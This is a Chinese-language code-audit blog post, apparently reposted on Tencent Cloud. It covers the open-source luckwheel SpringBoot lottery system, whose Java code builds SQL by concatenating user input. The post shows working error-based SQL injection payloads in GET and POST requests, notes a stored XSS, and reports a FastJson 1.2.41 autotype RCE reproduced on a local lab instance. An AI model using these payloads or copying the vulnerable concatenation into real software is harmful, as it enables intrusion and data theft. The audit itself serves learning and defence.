前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

作者头像
UzJu@菜菜狗
发布2022-09-08 12:04:59
6980
发布2022-09-08 12:04:59
举报
文章被收录于专栏:UzJu和菜菜狗

Github地址: GitHub - s6056826/luckwheel: 国产开源幸运大转盘管理系统,积分,倍率,奖品兑换 CSDN介绍地址: 开源大转盘抽奖源码,带后台管理,可管理奖品和奖品中奖概率,java语言实现飞吧菜鸟了的博客-CSDN博客转盘抽奖源码 下载之后用Idea打开,首先导入数据库

这个数据库里面只有表,不会自动创建库。所以需要手动创建一个数据库

1、导入数据库

看一眼spring的配置库名叫youyoudb

创建跟这个一样的名称,然后导入表即可

这里的codepay_order是我自己创建的,后边会说到为什么

然后idea maven会自动添加下载依赖,等待全部下好之后,启动即可

2、访问页面

直接访问会提示404

看一眼静态文件配置

访问index.html和luckmanager.html也会提示404

看一眼spring配置

注意这里的server.servlet.context-path

server.servlet.context-path 1、server.servlet.context-path= # Context path of the application. 应用的上下文路径,也可以称为项目路径,是构成url地址的一部分。 2、server.servlet.context-path不配置时,默认为 / ,如:localhost:8080/xxxxxx 3、当server.servlet.context-path有配置时,比如 /demo,此时的访问方式为localhost:8080/demo/xxxxxx

所以在访问的时候需要加上/luck来访问

3、解决参数错误的报错

然后就一直会提示参数错误,看一眼JS

  1. var uid= getQueryString("pnum");
  2. if(uid==""||uid==null||uid===undefined){
  3. alert("非法参数错误,请重新打开页面!");
  4. window.location.reload();
  5. }

这里会判断uid的值,上面的变量可以看到uid来自另外一个函数,这里函数这个pnum是GET参数,跟过去看一眼

  1. function getQueryString(name) {
  2. var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
  3. var r = window.location.search.substr(1).match(reg);
  4. if (r != null) return unescape(r[2]); return null;
  5. }

这里正则匹配我们不需要管,只需要返回值不等于NULL即可,所以我们直接在前端构造一个pnum参数试试

现在不报错了,这里为什么会不报错主要是因为在数据库中有id为1的用户,可以看一眼数据库

image-20220714161738766
image-20220714161738766

这里的值是我自己加的,所以就不会报错了

这里已经任意用户登录了吧

然后在common.js中可以看到,其实之前可能有登录功能

但是下载下来的源码并没有,开始以为是作者删了,我又去看了一遍commit,发现根本就没有上传登录的前端源码

看一眼后台的样子

目前所有的搭建都已经完成了

代码审计

1、SQL注入一处

我这里是直接搜关键字找执行SQL语句的地方

一眼望去就可以看到SQL注入一个

test接口,参数uid

直接构造参数去请求接口

这里直接查询会显示没有这个表,所以按照这里SQL语句的参数去构造表字段即可

随后再请求接口

这里只会返回FALSE或者TURE

但是这里的是会回显报错的,所以构造报错语句的参数

  1. select * from codepay_order where pay_id='1'' and pay_tag>=0 and money>=200 and pay_tag <FLOOR(money/200) and up_time >='-- ::

看一下这里报错的语句,首先需要闭合前面的单引号,然后构造and后面跟报错的函数最后注释即可,payload如下

  1. GET /luck/wheel/test?uid='and+extractvalue(1,concat(0x5c,user()))--' HTTP/1.1

返回了当前用户,这里注释后面需要加上单引号,因为如果不加上,后面那个单引号无法闭合,可以看下图

  1. select * from codepay_order where pay_id='1'and extractvalue(,concat(0x5c,user()))--' and pay_tag>=0 and money>=200 and pay_tag <FLOOR(money/200) and up_time >='-- ::'

这里可以看到注释后面的单引号跟 up_time字段的单引号合在一起了,导致了报错,所以需要加上单引号就可以成功

2、SQL注入二处

那么想一下,有没有方法调了canDog方法,鼠标放在canDog方法上按下Command(Windows下是alt或者ctrl)可以看到有哪些方法调用了该方法

lottery接口,那么肯定也是有sql注入的,因为这里将UID传给了下面

  1. @RequestMapping("lottery")
  2. public JSONObject wheelLottery(String uid){
  3. boolean flag=canDog(uid);
  4. if(!flag){
  5. return fail("没有可抽奖次数");
  6. }
  7. LuckUser luckUser = new LuckUser();
  8. luckUser.setUid(uid);
  9. LuckUser luckUser1 = luckUserService.queryOne(luckUser);
  10. if(luckUser1==null){
  11. luckUserService.add(luckUser);
  12. }

那么这里用同样的payload也可以注入

严格来说这里算是一处SQL注入,因为在业务上只需要修canDog这一个接口就可以了

3、后台存储XSS

没什么好说的

直接取这里的返回数据展示在前端了,并且在list接口也没过滤

4、FastJson 1.2.41 RCE

看到请求中有JSON,马上想到会不会有FastJson,在pom.xml中搜了一下,笑嘻了,1.2.41,全局搜一下开没开autype

但是有个通杀payload可以试试 <1.2.47的双键绕过

这里插件也扫到了

这里的payload用了Unicode编码,解码之后如下

看上去和常规的payload差不多,这里只是变成了两个键值对,打ldap的话,那就尝试复现一下

成功RCE

FastJson 1.2.41

推荐文章: [FastJson<=1.2.47RCE细枝末节详细分析 - 安全客,安全资讯平台](https://www.anquanke.com/post/id/224820

5、SQL注入三处

跟过去可以看到这里的接口是/luck/lup/update 在前端页面中可以看到

构造参数

  1. {"id":,"exchange":,
  2. "pname":1,
  3. "uid":1}

这里报错了,看一下具体的接口实现代码

  1. @Override
  2. protected void afterUpdate(Map map) {
  3. if(map!=null){
  4. Integer exchange = (Integer) map.get("exchange");
  5. if(exchange!=null){
  6. String pname = (String) map.get("pname");
  7. if(pname.contains("元")){
  8. String money = pname.substring(0, pname.indexOf("元"));
  9. int anInt = Integer.parseInt(money);
  10. String uid = (String) map.get("uid");
  11. jdbcTemplate.update("update login_user set user_money=user_money+"+anInt+" where app_login_id='"+uid+"'");
  12. }
  13. }
  14. }
  15. super.afterUpdate(map);
  16. }

首选从map中get出来exchange的值,随后如果exchange如果不为空的话,就从map中get出来pname的值,并赋值给pname,Java是强类型的语言这里定义接收pname的值使用的是String Name,我们POST的参数是int类型,就会导致出现报错,并且在下面中会通过contains方法来判断元这个字是否在map.get(‘pname’)这里获取出来的值中,如果不在,也是不会走下面的逻辑的

Tips: Java contains()方法 contains() 方法用于判断字符串中是否包含指定的字符或字符串。 函数原形: public boolean contains(CharSequence chars)

  • chars参数
    • 需要判断的字符
  • Demo举例 String name = ‘UzJu’; name.contains(“U”) 这时就会判断,name这个字符串中是否存在U这个字符,并且返回True和False

所以这里需要将pname的值更改一下

可以打上一个断点,随后再次请求这个接口,然后还是会报错String类型的错误,这时候DEBUG看一眼,会发现漏了一个点

这里的UID需要是String类型,我们传入的是int,所以修改为String再次请求

随后发现这里没有这个表,自己去新增

image-20220714162155169
image-20220714162155169
image-20220714162215259
image-20220714162215259

添加了6个字段才成功,还是一样白盒模式下可以打印SQL语句

修改完之后重启

可以看到加上单引号之后报错

构造参数,成功注入

  1. POST /luck/lup/update HTTP/1.1
  2. Host: 192.168.2.147:7777
  3. User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Mobile Safari/537.36 Edg/103.0.1264.44
  4. X-Requested-With: XMLHttpRequest
  5. Referer: http://192.168.2.147:7777/luck/luckmanager.html
  6. Accept-Encoding: gzip, deflate
  7. Content-type: application/json
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
  9. Connection: close
  10. Content-Length: 94
  11. {"id":1,"exchange":1,
  12. "pname":"1元",
  13. "uid":"1' and extractvalue(1,concat(0x5c,user()))--'"}

6、SQL注入四处[假的SQL注入]

这里注入有一个前提,来看一代码,这里下面的UPDATE也是直接+号拼接了语句,但是上面有一个if判断,判断返回的map是不是空或者大小是不是0,那么Debug调一下会发现

  1. select * from codepay_order where pay_id='1' and pay_tag>= and money>= and pay_tag <FLOOR(money/) and up_time >='2019-1-15 0:0:0'

首先在codepay_order这个表中pay_id要等于1,并且pay_tar大于或者等于0,并且Money需要大于或等于200,并且floor计算出来的值需要小于Pay_tag,那么这里看一下floor的值是多少

这里的条件肯定就已经不成立了,因为这里的pay_tag是1,那么这里想让条件成立的话,就把数据库中的pay_tag改为0即可

重新请求之后可以看到,已经走到了update的流程

  1. HTTP/1.1
  2. Content-Type: application/json;charset=UTF-8
  3. Date: Wed, 06 Jul 2022 10:20:36 GMT
  4. Connection: close
  5. Content-Length: 364
  6. {"timestamp":"2022-07-06T10:20:36.094+0000","status":500,"error":"Internal Server Error","message":"StatementCallback; bad SQL grammar [update codepay_order set pay_tag=pay_tag+1 where pay_id='1' and pay_no='null']; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column 'pay_no' in 'where clause'","path":"/luck/wheel/test"}

从这里的报错可以看出来,好像没有这个字段,去数据库里面添加

再次请求接口会返回TRUE

上述报错知道了SQL语句

  1. jdbcTemplate.update("update codepay_order set pay_tag=pay_tag+1 where pay_id='"+uid+"' and pay_no='"+pay_no+"'");

因为这里没办法返回具体的值,只会显示FALSE和TRUE

在终端的print可以看到,没有办法,所以这里盲注,白盒下其实可以改一下代码,输出一下SQL语句

加两行代码,然后重启,然后试了半天才发现,这里没办法到UPDATE那里

因为如果报错注入的话,上面的jdbcTemplate.queryForList就已经报错回显了,但是如果不报错的话,payload又没办法到UPDATE语句,所以这里:)

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、导入数据库
  • 2、访问页面
  • 3、解决参数错误的报错
  • 代码审计
    • 1、SQL注入一处
      • 2、SQL注入二处
        • 3、后台存储XSS
          • 4、FastJson 1.2.41 RCE
            • FastJson 1.2.41
          • 5、SQL注入三处
            • 6、SQL注入四处[假的SQL注入]
            相关产品与服务
            云数据库 SQL Server
            腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档